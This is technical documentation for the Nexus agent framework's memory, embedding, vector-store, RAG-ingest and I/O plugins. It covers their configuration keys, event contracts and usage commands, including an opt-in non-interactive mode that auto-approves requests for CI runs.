"different question","new topic","let's move on", etc.). Cheap, deterministic. Lead-anchored phrases ("unrelated:","separately,") are taggeduser_explicit; substring matches are taggedphrase. - Embedding similarity — cosine similarity between the latest user
input and the rolling centroid of the current topic’s user inputs.
Below the configured threshold flags a shift. Runs only when an
embeddings.provideris active. Taggedembedding.
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
enabled | bool | true | Toggle the pruner. |
similarity_threshold | float | 0.55 | Cosine similarity below which a new user input flags a topic shift. Used only when an embeddings.provider is active. |
keep_last_topic_full | bool | true | Reserved for downstream consumers. |
explicit_phrases | []string | see code | Lowercase substrings that signal a topic shift. Replacing the list disables the defaults. |
Defaults for explicit_phrases:
"different question", "different topic", "new topic", "new question",
"let's move on", "moving on", "change of subject", "switching gears",
"unrelated:", "separately,", "on a different note"
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 60 | Run the classifier on every user input |
agent.turn.end | 60 | Track the current turn for debouncing |
Emits
| Event | When |
|---|---|
memory.topic_shift_detected | Per detected shift (carries from_turn, to_turn, similarity, signal) |
memory.curated | Envelope event (Layer: "topic_pruner", CacheInvalidates: false) |
embeddings.request | Pointer-payload request when an embeddings.provider is active |
Same-turn duplicate signals are debounced — at most one shift event per turn boundary.
Replay Determinism
Topic-shift decisions are non-deterministic (heuristic + embeddings).
Each decision is journalled as a memory.topic_shift_detected event
(Idea 01) so replay reproduces the same boundaries.
Example Configuration
plugins:
active:
- nexus.agent.react
- nexus.memory.topic_pruner
- nexus.embeddings.openai # optional; enables the embedding signal
nexus.memory.topic_pruner:
enabled: true
similarity_threshold: 0.55
explicit_phrases:
- "different question"
- "new topic"
- "moving on"
Long-Term Memory
Plugin ID: nexus.memory.longterm
Cross-session memory persistence. Stores memories as individual markdown files with YAML frontmatter. Injects a lightweight index into the system prompt on boot and provides LLM tools for CRUD operations.
Configuration
nexus.memory.longterm:
# Where memory files live.
# Default: ~/.nexus/memory/ (CLI), ~/.nexus/agents/<agentID>/memory/ (desktop shell)
path: "~/.nexus/memory/"
# Memory scope: "agent" (per-agent isolated), "global" (shared across agents), or "both".
# "both" merges global + agent-scoped memories, with agent-scoped taking precedence on key conflicts.
scope: "agent"
# Inject memory index (titles + keys + tags) into system prompt on session start.
auto_load: true
# Instructions injected into system prompt telling the LLM when to
# proactively save memories mid-session. Empty string = only save when
# user explicitly asks (tools still available, just no prompting to use them).
auto_save_instructions: ""
# Agent ID for agent-scoped storage (injected automatically by desktop shell).
agent_id: ""
Scope Resolution
scope value | Paths searched | Write target |
|---|---|---|
agent | ~/.nexus/agents/<agentID>/memory/ | agent path |
global | ~/.nexus/memory/ | global path |
both | global path + agent path (agent wins conflicts) | agent path |
For CLI mode (no agent ID), agent and global behave identically — both use the configured path.
Storage Format
One file per memory entry at <memory_path>/<key>.md:
---
key: user_prefers_dark_mode
tags:
category: preference
domain: ui
created: 2026-04-10T14:30:00Z
updated: 2026-04-15T09:00:00Z
source_session: 20260410-143022
---
User strongly prefers dark mode across all interfaces.
They mentioned eye strain with light themes during long sessions.
Keys are sanitized to lowercase alphanumeric with hyphens and underscores, truncated to 128 characters.
LLM Tools
| Tool | Parameters | Description |
|---|---|---|
memory_write | key (string), content (string), tags (map, optional) | Create or update a memory entry |
memory_read | key (string) | Read full content of a memory entry |
memory_list | tags (map, optional) | List all memories, optionally filtered by tags (AND semantics) |
memory_delete | key (string) | Delete a memory entry |
System Prompt Injection
When auto_load: true, the plugin injects a section listing all available memories with key, tags, and a one-line preview (first line of content). Full content is retrieved on demand via memory_read.
Events
| Event | Direction | Payload |
|---|---|---|
memory.longterm.loaded | Plugin -> bus | LongTermMemoryLoaded |
memory.longterm.store | Any -> plugin | LongTermMemoryStoreRequest |
memory.longterm.stored | Plugin -> bus | LongTermMemoryStored |
memory.longterm.read | Any -> plugin | LongTermMemoryReadRequest |
memory.longterm.result | Plugin -> bus | LongTermMemoryReadResult |
memory.longterm.delete | Any -> plugin | LongTermMemoryDeleteRequest |
memory.longterm.deleted | Plugin -> bus | LongTermMemoryDeleted |
memory.longterm.list | Any -> plugin | LongTermMemoryQuery |
memory.longterm.list.result | Plugin -> bus | LongTermMemoryListResult |
Desktop Shell Integration
The desktop shell automatically injects agent_id into the plugin config before boot, enabling per-agent memory isolation without manual configuration.
Vector Memory
Plugin ID: nexus.memory.vector
Capability: memory.vector
Per-agent semantic recall backed by the vector.store capability. On every user turn, the plugin embeds the input, queries the agent’s namespace for relevant past content, and renders the hits as a <recalled_memory> block in the next system prompt. Compaction summaries are auto-stored so trimmed context stays recallable.
Fully independent of nexus.memory.longterm — separate code, capability, and storage. They coexist and complement each other:
nexus.memory.longterm | nexus.memory.vector | |
|---|---|---|
| Address by | key (LLM-managed) | embedding (semantic similarity) |
| Storage | one markdown file per entry, YAML frontmatter | vector store namespace |
| LLM tools | memory_read / memory_write / memory_list / memory_delete | none — automatic |
| Best for | structured notes, preferences, exact facts | fuzzy recall of summaries, topics, prior turns |
Long-term is the agent’s deliberate filing cabinet; vector memory is the agent’s automatic associative recall.
Capabilities
- Provides:
memory.vector - Requires:
embeddings.provider,vector.store
Both required capabilities auto-activate via Requires() if missing.
Configuration
nexus.memory.vector:
# namespace: memory-default # default: "memory-{InstanceID}"
top_k: 5
min_similarity: 0.3
auto_store_compaction: true # auto-write summaries on memory.compacted
auto_store_user_input: false # off by default; turning on makes every turn a memory
section_priority: 45 # PromptRegistry priority for the recalled-memory block
| Key | Type | Default | Description |
|---|---|---|---|
namespace | string | memory-{InstanceID} | Vector store namespace for this agent. The default sanitizes the InstanceID for filesystem safety (/ → -, : → -). Multi-agent desktop shells isolate automatically. |
top_k | int | 5 | Max hits queried per turn. |
min_similarity | float | 0.0 | Hits below this similarity are dropped from the prompt. 0 disables filtering. |
auto_store_compaction | bool | true | Write the compaction summary on memory.compacted. |
auto_store_user_input | bool | false | Write every user message. Off by default — usually too noisy. |
section_priority | int | 45 | PromptRegistry priority. Higher numbers append later. |
The active embeddings.provider plugin owns the model choice — set the
embedding model on that plugin. The model used to populate a namespace
must match the model used to query it.
Behavior
On io.input (priority 10)
Subscribed at priority 10 — earlier than the agent’s handler at 50. Sequence:
- Embed the user message via
embeddings.provider. - Query
vector.storefor top-k hits in the configured namespace. - Filter by
min_similarity. - Stash the hits in plugin state.
- Optionally also store the input itself (
auto_store_user_input).
When the agent builds the next llm.request (priority 50), the PromptRegistry calls buildPromptSection which renders the stashed hits as XML.
On memory.compacted
When nexus.memory.compaction or summary-buffer compaction fires, the plugin extracts the system-role summary message from CompactionComplete.Messages and stores it. Past context stays recallable even after the active history buffer trims it.
On memory.vector.store (explicit)
Plugins or tools can write a piece of content explicitly:
req := &events.VectorMemoryStore{
Content: "User confirmed they prefer dark mode in long sessions",
Source: "agent",
Metadata: map[string]string{"category": "preference"},
}
bus.Emit("memory.vector.store", req)
// req.Provider and req.Error filled in place
Source is recorded as a metadata tag on the chunk and shown in the rendered prompt block.
Prompt section
When at least one hit clears min_similarity, the plugin renders:
<recalled_memory>
These items were recalled from your vector memory based on the current user message.
Use them if relevant; ignore them if not.
<item rank="1" similarity="0.842" source="compaction">
Summary of prior turns: user is debugging the websocket reconnect logic...
</item>
<item rank="2" similarity="0.711" source="explicit">
User mentioned the bug was specific to the staging environment.
</item>
</recalled_memory>
When no hits clear the filter, the section returns an empty string and PromptRegistry skips it — turns with no recall add nothing to the prompt.
Salience
Salience policy is intentionally conservative:
- Compaction summaries — high signal, low volume, written automatically.
- Explicit stores — caller-decided.
- User input — off by default. Auto-storing every message floods the namespace with low-value content, hurts recall quality, and racks up embedding costs.
If you want richer auto-storage, the recommended path is a separate plugin that subscribes to agent.turn.complete (or similar) and emits memory.vector.store with whatever salience heuristic fits your domain — e.g., “store assistant messages but not user messages”, or “store anything tagged important: true in metadata”.
ID scheme
Each stored doc gets a 16-hex-char ID derived from sha256(content || source || RFC3339Nano-timestamp). Time in the hash means re-storing the same content twice produces two entries — vector memory accumulates rather than dedupes. If you want exact-content dedupe, use nexus.memory.longterm instead.
Stored metadata
Every recall doc lands with:
| Key | Description |
|---|---|
source | One of user, compaction, explicit, or whatever caller supplied. |
stored | RFC3339 UTC timestamp of when the doc was written. |
session | Session ID (only on user source). |
backup_path | Compaction archive path (only on compaction source). |
Plus any extra string metadata supplied on the VectorMemoryStore payload.
Multi-agent shells
In a desktop shell hosting multiple agents, each plugin instance receives a distinct InstanceID (see Plugin System → Instance IDs). The default namespace memory-{InstanceID} keeps each agent’s recall isolated automatically — no extra configuration needed.
To deliberately share memory across agents, override namespace to a common value.
Events
| Event | Direction | Payload | When |
|---|---|---|---|
io.input | Bus → plugin | events.UserInput | Triggers query + stash. |
memory.compacted | Bus → plugin | events.CompactionComplete | Triggers auto-store of summary. |
memory.vector.store | Any → plugin | *events.VectorMemoryStore | Explicit store. |
embeddings.request | Plugin → bus | *events.EmbeddingsRequest | Used during query and store. |
vector.query | Plugin → bus | *events.VectorQuery | Used during turn-start retrieval. |
vector.upsert | Plugin → bus | *events.VectorUpsert | Used during store. |
Limits
- One namespace per agent instance. Multi-namespace recall (e.g., separate “facts” and “summaries” namespaces) isn’t supported in v1. Run two plugin instances if you need it.
- No re-ranking. Hits are returned in cosine-similarity order. A future
rag.rerankercapability will allow LLM-based or cross-encoder rerank passes. - No filter. The query doesn’t pass a metadata filter. Adding one is a small change if you have a use case — file an issue.
Errors
- Errors during query, embed, or store are logged as warnings rather than surfaced in the prompt. Recall is best-effort: a missing prompt section is far better than blocking the user’s turn on a transient embedding-API blip. Watch the engine log for
vector memory: ...lines if you suspect recall is silently failing.
Embedding Providers
Plugins that advertise the embeddings.provider capability. Convert text to dense vectors so the rest of the RAG stack — vector stores, ingest, search — can find passages by semantic similarity.
Why a capability
Embedding APIs are ergonomically similar (text in, vectors out) but the providers and prices vary a lot. Splitting embeddings.provider into its own capability lets the same nexus.rag.ingest, nexus.tool.knowledge_search, and nexus.memory.vector plugins work against any backend — OpenAI today, Ollama or a self-hosted model tomorrow — without code changes elsewhere.
This mirrors how search.provider and llm.provider work. Pin one explicitly with a top-level capabilities: block when more than one is active.
Built-in adapters
| Plugin ID | Backend | Notes |
|---|---|---|
nexus.embeddings.openai | OpenAI embeddings API | text-embedding-3-* models. Needs OPENAI_API_KEY. Supports base_url override for Azure / OpenAI-compatible proxies. |
nexus.embeddings.mock | Deterministic hash-based | Zero I/O, no API key. For tests and offline development. |
Bus contract
// pkg/events/embeddings.go
type EmbeddingsRequest struct {
Texts []string
Model string
Dimensions int // optional truncation hint
// Filled by the provider:
Vectors [][]float32
Provider string
Usage EmbeddingsUsage
Error string
}
Emitted as a pointer payload on embeddings.request. The capability-resolved provider fills the result fields in place before Emit returns. Adapter handlers must:
- Ignore the event if
req.Provider != ""(someone else already answered). - Set
req.Provider = pluginIDwhether the call succeeded or failed. - Set either
req.Errororreq.Vectors, not both. - Echo back the actual model used in
req.Modelso consumers can record what produced the vectors.
See the RAG guide for a full adapter skeleton.
OpenAI Embeddings
Plugin ID: nexus.embeddings.openai
Advertises the embeddings.provider capability backed by OpenAI’s /v1/embeddings API. Supports text-embedding-3-small (default), text-embedding-3-large, and text-embedding-ada-002. Compatible with Azure OpenAI and OpenAI-compatible proxies via base_url.
Configuration
nexus.embeddings.openai:
api_key_env: OPENAI_API_KEY # default; ignored if api_key is set directly
# api_key: sk-... # direct literal (avoid checking in)
# model: text-embedding-3-small # default
# dimensions: 1536 # provider default; smaller = cheaper
# base_url: https://api.openai.com/v1/embeddings
# timeout: 30s
| Key | Type | Default | Description |
|---|---|---|---|
api_key | string | — | OpenAI API key (direct literal). |
api_key_env | string | OPENAI_API_KEY | Env var name to read the key from when api_key is unset. |
model | string | text-embedding-3-small | Embedding model. |
dimensions | int | (provider default) | Optional truncation. text-embedding-3-* accepts arbitrary smaller dims; older models ignore this. |
base_url | string | https://api.openai.com/v1/embeddings | Override for Azure / proxies. |
timeout | duration | 30s | HTTP timeout for the embeddings call. |
Model picking
| Model | Dim (default) | Notes |
|---|---|---|
text-embedding-3-small | 1536 | Default. Cheap, good enough for most retrieval. |
text-embedding-3-large | 3072 | ~3× the price; better on hard semantic tasks, more storage. |
text-embedding-ada-002 | 1536 | Legacy. Cheaper than 3-large, less accurate than 3-small. |
You can request a smaller dimensionality from text-embedding-3-* to trade some quality for storage and search latency:
nexus.embeddings.openai:
model: text-embedding-3-large
dimensions: 1024 # roughly 3-small accuracy at 2/3 the storage
Switching models
The embedding cache (in nexus.rag.ingest) is keyed on content hash, not model. Mixing vectors from two models in one namespace produces nonsense rankings, so when you change model or dimensions you should:
rm -rf ~/.nexus/vectors/_cache/
nexus ingest --namespace=kb ./docs # re-embed under the new model
Events
| Event | Direction | Payload |
|---|---|---|
embeddings.request | Any → plugin | *EmbeddingsRequest |
Pointer-fill: the plugin sets req.Vectors, req.Provider, req.Model, req.Usage (or req.Error) in place.
Errors
no API key configured (set api_key in config or OPENAI_API_KEY env var)at boot — set the key in env or in the config block.openai returned HTTP 401— invalid or expired key. Check the variable name inapi_key_envis the one actually set in the shell.expected N embeddings, got M— the API returned a different number of vectors than the input text count. The adapter retries the request internally; if you see this surfaced, the API call partially failed mid-stream. Re-running ingest will pick up where the cache stopped.
Mock Embeddings
Plugin ID: nexus.embeddings.mock
A deterministic, zero-I/O embeddings.provider for tests and offline development. Same text in → same vector out. No network, no API key, sub-millisecond per call.
The vectors are derived from the SHA-256 hash of the input text. Two different inputs map to two different (but stable) vectors; the same input always maps to the same vector. The output is unit-normalized so backends like chromem-go that require normalized inputs accept it directly.
This plugin ships in the main binary alongside production providers — same pattern as nexus.io.test. It is opt-in; to use it just include it in plugins.active.
Configuration
nexus.embeddings.mock:
# dimensions: 128 # default
# model: mock-embedding # default; echoed back in EmbeddingsRequest.Model
| Key | Type | Default | Description |
|---|---|---|---|
dimensions | int | 128 | Output vector dimensionality. Per-call override via EmbeddingsRequest.Dimensions. |
model | string | mock-embedding | Echoed back as EmbeddingsRequest.Model. |
When to use it
- Integration tests. The RAG integration tests under
tests/integration/rag_test.gouse this plugin so the suite runs without an API key and without spending money. See Integration Testing. - Adapter and storage development. When iterating on a new vector store backend, you don’t want a real embedding API in the loop. Wire up
nexus.embeddings.mockto keep the focus on the storage side. - Pipeline smoke tests. Boot a CLI ingest with mock embeddings to confirm chunking, persistence paths, and watch-mode wiring all work, then swap in a real provider.
When not to use it
The mock has no semantic structure — “cat” and “kitten” produce vectors as different as “cat” and “transistor radio”. Tests that depend on similarity rankings for meaning will give wrong-shaped signals. The included integration tests work around this by querying with the exact stored content (which has bit-for-bit-identical vectors and produces similarity ≈ 1.0).
Don’t use this plugin in production. Don’t use it for anything where retrieval quality matters.
Events
Same as any embeddings.provider: subscribes to embeddings.request, fills the result in place. See Embedding Providers for the full payload shape.
Vector Stores
Plugins that advertise the vector.store capability. Persist embedding vectors with their content and metadata, and answer nearest-neighbor queries against a named subset (a namespace).
Why a capability
Vector backends differ wildly — pure-Go in-memory stores, embedded SQLite extensions, Postgres extensions, dedicated services like Qdrant or Weaviate. Splitting vector.store into its own capability lets the same nexus.rag.ingest, nexus.tool.knowledge_search, and nexus.memory.vector plugins work against any of them, with the choice driven entirely by config.
Built-in adapters
| Plugin ID | Backend | Notes |
|---|---|---|
nexus.vectorstore.chromem | philippgille/chromem-go | Pure Go, in-memory with JSON on-disk persistence. No CGO, no service to run. Suitable up to low millions of chunks. |
Namespaces
Every operation takes a Namespace string. Namespaces isolate logically distinct knowledge — a project’s docs, a shared knowledge base, per-agent semantic memory. They are cheap to create (chromem-go creates the collection on first upsert) but do not validate against an allow-list: the consumer plugin is responsible for namespace policy.
nexus.tool.knowledge_search enforces an allow-list at the tool level. nexus.memory.vector namespaces by InstanceID. The vector store itself just routes by name.
Bus contract
Four event types cover the interface:
// pkg/events/vector.go
type VectorUpsert struct { Namespace string; Docs []VectorDoc;
Provider string; Error string }
type VectorQuery struct { Namespace string; Vector []float32;
K int; Filter map[string]string;
Matches []VectorMatch; Provider string; Error string }
type VectorDelete struct { Namespace string; IDs []string;
Provider string; Error string }
type VectorNamespaceDrop struct { Namespace string;
Provider string; Error string }
type VectorDoc struct { ID string; Vector []float32; Content string; Metadata map[string]string }
type VectorMatch struct { ID string; Content string; Metadata map[string]string; Similarity float32 }
Emitted as pointer payloads on vector.upsert, vector.query, vector.delete, vector.namespace.drop. Adapters mutate in place and set req.Provider / req.Error (and req.Matches on query) before Emit returns.
Upsert semantics
VectorUpsert replaces documents with matching IDs. Adapters without native upsert (chromem-go) implement this as Delete(IDs) followed by Add. Re-ingesting the same path with nexus.rag.ingest is therefore safe and idempotent.
Metadata constraint
VectorDoc.Metadata is map[string]string — the common denominator across chromem, sqlite-vec, pgvector, Qdrant. Numeric or boolean metadata should be stringified at the producer.
Query filter
VectorQuery.Filter is an exact-match metadata filter. {"source": "docs/foo.md"} returns only chunks whose stored metadata’s source field equals docs/foo.md. Empty filter returns over the whole namespace. Range / contains / regex filters are backend-dependent and not exposed in v1.
Idempotent drop
VectorNamespaceDrop succeeds whether the namespace exists or not. Adapters must not error on missing namespaces; the consumer is allowed to call drop defensively at startup or shutdown.
Chromem-go Vector Store
Plugin ID: nexus.vectorstore.chromem
Backed by philippgille/chromem-go — a pure-Go, in-memory vector database with JSON on-disk persistence. No CGO, no separate service. Each namespace becomes a chromem-go collection under the configured path.
Suitable up to roughly low millions of chunks depending on dimensionality and host RAM. Beyond that, migrate to a dedicated backend (sqlite-vec, pgvector, Qdrant) — the vector.store event surface is identical, so consumers don’t change.
Configuration
nexus.vectorstore.chromem:
path: ~/.nexus/vectors # default
compress: false # gzip-compress collection files on disk
| Key | Type | Default | Description |
|---|---|---|---|
path | string | ~/.nexus/vectors | Directory for the chromem DB. One subdirectory per namespace. Created if missing. |
compress | bool | false | Gzip-compress collection files. Saves disk at the cost of a little CPU on read/write. |
~ is expanded relative to $HOME.
On-disk layout
~/.nexus/vectors/
├── kb/ # one chromem collection per namespace
│ ├── ...documents
│ └── metadata
├── project-docs/
│ └── ...
└── memory-react/
└── ...
Plus the embedding cache (managed by nexus.rag.ingest, not this plugin) at ~/.nexus/vectors/_cache/. Keeping cache and store under the same root makes them easy to back up and easy to wipe together when switching embedding models.
Behavior
Upsert
chromem-go has no native upsert. The plugin implements it as Delete(IDs) followed by Add(...). Stable IDs (which nexus.rag.ingest produces from <sha256-prefix-of-abspath>-<chunk-idx>) make re-ingest idempotent.
Query
Cosine similarity over normalized vectors. The plugin clamps K to the namespace size to avoid chromem panicking when asked for more results than exist, and short-circuits empty namespaces with a zero-results response (no error).
Delete
VectorDelete ignores unknown IDs. Watch-mode deletes in nexus.rag.ingest rely on this — they delete a fixed upper bound of IDs (0..4095) under the file’s path-hash without first querying how many actually exist.
Drop namespace
VectorNamespaceDrop removes the entire collection — both in-memory and the on-disk directory. Idempotent: dropping an unknown namespace returns success.
Concurrency
The plugin holds a mutex around GetOrCreateCollection and GetCollection/DeleteCollection. Per-collection chromem operations (Add, QueryEmbedding, Delete) are themselves thread-safe, so reads and writes against an existing namespace fan out without serialization.
Events
Subscribes to all four vector.* events. See Vector Stores for payload shapes.
| Event | Direction | Payload |
|---|---|---|
vector.upsert | Any → plugin | *VectorUpsert |
vector.query | Any → plugin | *VectorQuery |
vector.delete | Any → plugin | *VectorDelete |
vector.namespace.drop | Any → plugin | *VectorNamespaceDrop |
Limits and caveats
- In-memory at runtime. chromem-go loads the full collection into RAM on first access. A namespace with 100k chunks at 1536 dims is ~600 MB resident. Watch the process RSS when scaling up.
- Single-process. Two engines pointed at the same
pathwill race on writes. Use one process perpath, or pick a backend with proper transactional guarantees. - No native upsert / no atomic transactions. The delete-then-add pattern is exposed as a single call from the consumer’s perspective but isn’t transactional under the hood. A crash between delete and add can leave a chunk’s slot empty until the next ingest. Re-running ingest fixes it; the embedding cache makes that cheap.
- No range or full-text filter.
VectorQuery.Filteris exact-match string equality only. If you need richer filters, that’s a v2 backend feature.
RAG
Plugins that consume embeddings.provider and vector.store to build a retrieval pipeline.
For an end-to-end walkthrough — wiring a profile, ingesting docs, and getting an agent to cite sources — see the RAG guide.
Plugins
| Plugin ID | Role |
|---|---|
nexus.rag.ingest | Reads files, chunks them, embeds via embeddings.provider, upserts via vector.store. Two entry points (event + watch mode) sharing one codepath. Backs the nexus ingest CLI subcommand. |
Two more RAG consumers live elsewhere in the plugin tree:
nexus.tool.knowledge_search— LLM-facing tool the agent calls explicitly.nexus.memory.vector— automatic per-agent semantic recall on every turn.
They’re under plugins/tools/ and plugins/memory/ because they fit those existing categories — the RAG namespace is reserved for ingestion machinery and any future RAG-specific glue.
RAG Ingest
Plugin ID: nexus.rag.ingest
Ingests files into the vector store. One plugin, two entry points sharing one codepath:
- Event mode — any plugin emits
*events.RAGIngeston"rag.ingest". Plugin reads → chunks → embeds uncached chunks → upserts. Sync pointer-fill (returns withChunks/SkippedCached/Errorset), plus a notification event"rag.ingest.result"for observers. - Watch mode —
fsnotifywatchers declared in config fire the same code path on writes/deletes, debounced 250ms to coalesce save bursts.
The nexus ingest CLI subcommand drives event mode from a minimal engine — useful for bulk pre-loading without a running agent. See RAG guide → bulk-ingest CLI reference.
Capabilities
nexus.rag.ingest requires both:
embeddings.provider— to produce vectors from chunk contentvector.store— to persist them
Both are auto-activated via Requires() if not in the user’s active list.
Configuration
nexus.rag.ingest:
chunker:
size: 1000 # default
overlap: 200 # default
cache_dir: ~/.nexus/vectors/_cache # default
watch:
- path: ./docs
glob: "*.md"
namespace: project-docs
- path: ./knowledge-base
namespace: kb
| Key | Type | Default | Description |
|---|---|---|---|
chunker.size | int | 1000 | Target chunk size in characters. |
chunker.overlap | int | 200 | Overlap between adjacent chunks. Preserves context across boundaries. |
cache_dir | string | ~/.nexus/vectors/_cache | Embedding cache directory. Content hash → vector. |
watch | list | (empty) | fsnotify watch entries. Each requires path and namespace; glob optional. |
Chunker
Recursive-character splitter: paragraph (\n\n) → line (\n) → sentence (. ) → space → hard-split-by-character. Each step backs off when the next chunk would exceed size. Overlap is taken as the trailing N characters of the previous chunk seeded into the next, so retrieval matches that span the boundary still hit.
The chunker is internal to this plugin — there is no shared pkg/rag/chunker. A second caller would justify promotion; until then, keep it simple.
Embedding cache
Content-hash → vector, persisted as one JSON file per entry under cache_dir. Two-byte directory shard keeps ls fast at scale.
The cache is not keyed per embedding model. If you change the embedding model or dimensionality, drop cache_dir — mixing vectors from two models in a namespace is incoherent regardless of cache state, so re-ingest is required either way:
rm -rf ~/.nexus/vectors/_cache/
nexus ingest --namespace=kb ./docs
Chunk IDs
Deterministic: <sha256-prefix-of-abspath>-<chunk-idx>. Two consequences:
- Idempotent re-ingest. Replaying the same file produces identical IDs, so the upsert path replaces existing chunks rather than accumulating duplicates.
- Cheap deletes.
nexus.rag.ingestdoesn’t track how many chunks were stored per file. Watch-mode deletes drop a generous upper bound of IDs (4096) under the file’s path-hash; the underlying vector store ignores unknown IDs. Files with more than 4096 chunks (rare; that’s >4 MB at default chunk size) need a wider limit — file an issue.
Stored metadata
Every chunk lands in the store with this metadata:
| Key | Description |
|---|---|
source | Absolute path to the source file. |
path_hash | First 16 hex chars of the path’s SHA-256. Useful for filter queries. |
chunk_idx | Zero-based chunk index (string). |
chunk_size | Length of the chunk content in characters (string). |
Plus any extra Metadata fields supplied on the RAGIngest payload by the caller.
Watch mode
Each watch: entry installs an fsnotify watcher on path. On a Write or Create event, the file is debounced (250ms) and re-ingested. On Remove or Rename, the file’s chunks are dropped via rag.ingest.delete.
Globs are matched both relative-to-root and on basename, so glob: "*.md" works for both docs/getting-started/installation.md and notes.md in the watched root.
The watcher runs only when at least one entry is configured. With no watch: block, the plugin runs in event mode only.
Bus contract
| Event | Direction | Payload | Purpose |
|---|---|---|---|
rag.ingest | Any → plugin | *RAGIngest | Ingest one file. Sync pointer-fill. |
rag.ingest.delete | Any → plugin | *RAGIngestDelete | Drop a file’s chunks. Sync pointer-fill. |
rag.ingest.result | Plugin → bus | *RAGIngest | Notification after rag.ingest completes. |
embeddings.request | Plugin → bus | *EmbeddingsRequest | Used during ingest. |
vector.upsert | Plugin → bus | *VectorUpsert | Used during ingest. |
vector.delete | Plugin → bus | *VectorDelete | Used during file delete. |
RAGIngest payload
| Field | Direction | Description |
|---|---|---|
Path | input | Absolute or relative path to the file. |
Namespace | input | Target namespace in the vector store. |
Metadata | input | Optional metadata merged into every chunk. |
Provider | output | nexus.rag.ingest. |
Chunks | output | Number of chunks produced and upserted. |
SkippedCached | output | How many of those came from the embedding cache. |
Error | output | Non-empty on failure. |
RAGIngestDelete payload
| Field | Direction | Description |
|---|---|---|
Path | input | Absolute or relative path. |
Namespace | input | Target namespace. |
Provider | output | nexus.rag.ingest. |
Deleted | output | Currently always 0; the underlying vector store drops by ID without counting. |
Error | output | Non-empty on failure. |
Errors
namespace required—Namespacewas empty on the request payload.read PATH: permission denied— file unreadable. Watch-mode entries should point at directories whose permissions don’t change at runtime.embed: <provider error>— the embeddings provider returned an error. Look at the provider’s adjacent log line for the underlying cause.upsert: <store error>— the vector store rejected the batch. Most commonly this is a backend running out of disk; check the store’spathlocation.
I/O Interface Plugins
I/O plugins handle user interaction — displaying agent output and collecting user input. You need exactly one active I/O plugin.
Available I/O Plugins
| Plugin | ID | Interface |
|---|---|---|
| Terminal UI | nexus.io.tui | BubbleTea-based terminal interface |
| Browser UI | nexus.io.browser | HTTP/WebSocket web interface |
| Wails Desktop | nexus.io.wails | Wails webview transport for desktop apps |
| Oneshot | nexus.io.oneshot | Non-interactive single-turn JSON transcript (scripting / CI) |
| Broker IO | nexus.io.broker | Dial-back transport for instances spawned by the session broker |
I/O Event Flow
Both I/O plugins follow the same event pattern:
- Input: Collect user text → emit
io.input - Output: Receive
io.output→ display to user - Streaming: Receive
io.output.streamchunks → render incrementally - Approvals: Receive
io.approval.request→ show dialog → emitio.approval.response - Questions: Receive
io.ask→ show prompt → emitio.ask.response - Status: Receive
io.status→ update status indicator
Terminal UI (TUI)
A rich terminal interface built with BubbleTea. Provides markdown rendering, streaming output, approval dialogs, and status indicators.
Details
| ID | nexus.io.tui |
| Dependencies | None |
Configuration
No additional configuration. The TUI plugin uses BubbleTea defaults.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.output | 50 | Display agent responses |
io.output.stream / io.output.stream.end | 50 | Streaming response rendering |
io.status | 50 | Update status bar (thinking, tool_running, etc.) |
io.approval.request | 50 | Show tool approval dialogs |
io.ask | 50 | Show question prompts |
thinking.step | 50 | Display thinking indicators |
plan.approval.request | 50 | Show plan approval dialogs |
plan.created | 50 | Display generated plans |
agent.plan | 50 | Display plan progress |
session.file.created / session.file.updated | 50 | Show file activity notifications |
io.history.replay | 50 | Replay conversation on session resume |
cancel.complete | 50 | Handle cancellation UI |
Emits
| Event | When |
|---|---|
io.input | User submits a message |
io.approval.response | User responds to approval dialog |
io.ask.response | User answers a question |
plan.approval.response | User approves/rejects a plan |
io.session.start / io.session.end | Session lifecycle |
cancel.request | User cancels current operation |
cancel.resume | User resumes after cancellation |
Features
- Markdown rendering in the terminal
- Streaming response display with incremental rendering
- Approval dialogs for tool execution
- Plan display and approval
- Status bar showing current agent state
- File creation/update notifications
- Session resume with history replay
- Built-in commands:
/quit,/exit
Browser UI
A web-based interface using HTTP and WebSockets. Provides the same functionality as the TUI but accessible through a browser.
Details
| ID | nexus.io.browser |
| Dependencies | None |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
host | string | localhost | HTTP server bind address |
port | int | 8080 | HTTP server port |
open_browser | bool | true | Automatically open the browser on start |
Events
Subscribes to and emits the same events as the TUI plugin.
Architecture
- HTTP Server — Serves the web UI static assets
- WebSocket — Real-time bidirectional communication
- Hub — Coordinates multiple WebSocket connections
Input is emitted asynchronously to avoid deadlocks with the event bus.
Example Configuration
nexus.io.browser:
host: localhost
port: 3000
open_browser: true
Oneshot I/O
A non-interactive I/O plugin for scripting, batch jobs, and CI. It runs the agent for a single turn, auto-approves every approval request, and writes a JSON transcript of the run to stdout (and optionally a file).
The name reflects its semantics: one prompt in, one transcript out, then the process exits. (A future nexus.io.headless plugin will keep a long-running process alive so external systems can drive it — this is not that.)
Details
| ID | nexus.io.oneshot |
| Dependencies | None |
Use this plugin instead of nexus.io.tui or nexus.io.browser — exactly one I/O plugin should be active at a time.
Prompt resolution
The plugin resolves the prompt to feed into the agent from the first of these sources that is non-empty:
NEXUS_ONESHOT_PROMPTenvironment variableinputfield in the plugin configinput_filefield in the plugin config (path to a text file)- Piped stdin (only when stdin is not a terminal)
If none of these yield a prompt, the run fails fast and still emits a JSON document containing the error so callers get something actionable.
Configuration
plugins:
active:
- nexus.io.oneshot
- nexus.llm.anthropic
- nexus.agent.react
- nexus.memory.capped
nexus.io.oneshot:
input: "" # inline prompt, or leave empty to use another source
input_file: "" # path to a file containing the prompt
output_file: "" # optional: also write the JSON transcript to this path
pretty: true # pretty-print the JSON (default true)
read_stdin: true # allow reading a piped stdin as a fallback (default true)
All fields are optional.
Usage
# Pipe a prompt through stdin
echo "What is 2+2?" | bin/nexus -config configs/oneshot.yaml
# Supply the prompt via environment variable
NEXUS_ONESHOT_PROMPT="Summarize octopus intelligence" \
bin/nexus -config configs/oneshot.yaml
# Read the prompt from a file (via config)
bin/nexus -config configs/oneshot.yaml # with input_file: ./prompt.txt set
# Feed the JSON transcript into jq for post-processing
echo "List three interesting facts about octopuses" \
| bin/nexus -config configs/oneshot-planned.yaml \
| jq '.final_output'
Auto-approval
The oneshot plugin auto-approves every approval request so agents with planners and protected tools can run unattended:
io.approval.request(tool call approval) → respondsApproved: trueplan.approval.request(planner approval) → respondsApproved: trueio.ask(free-form question to the user) → responds with an empty string
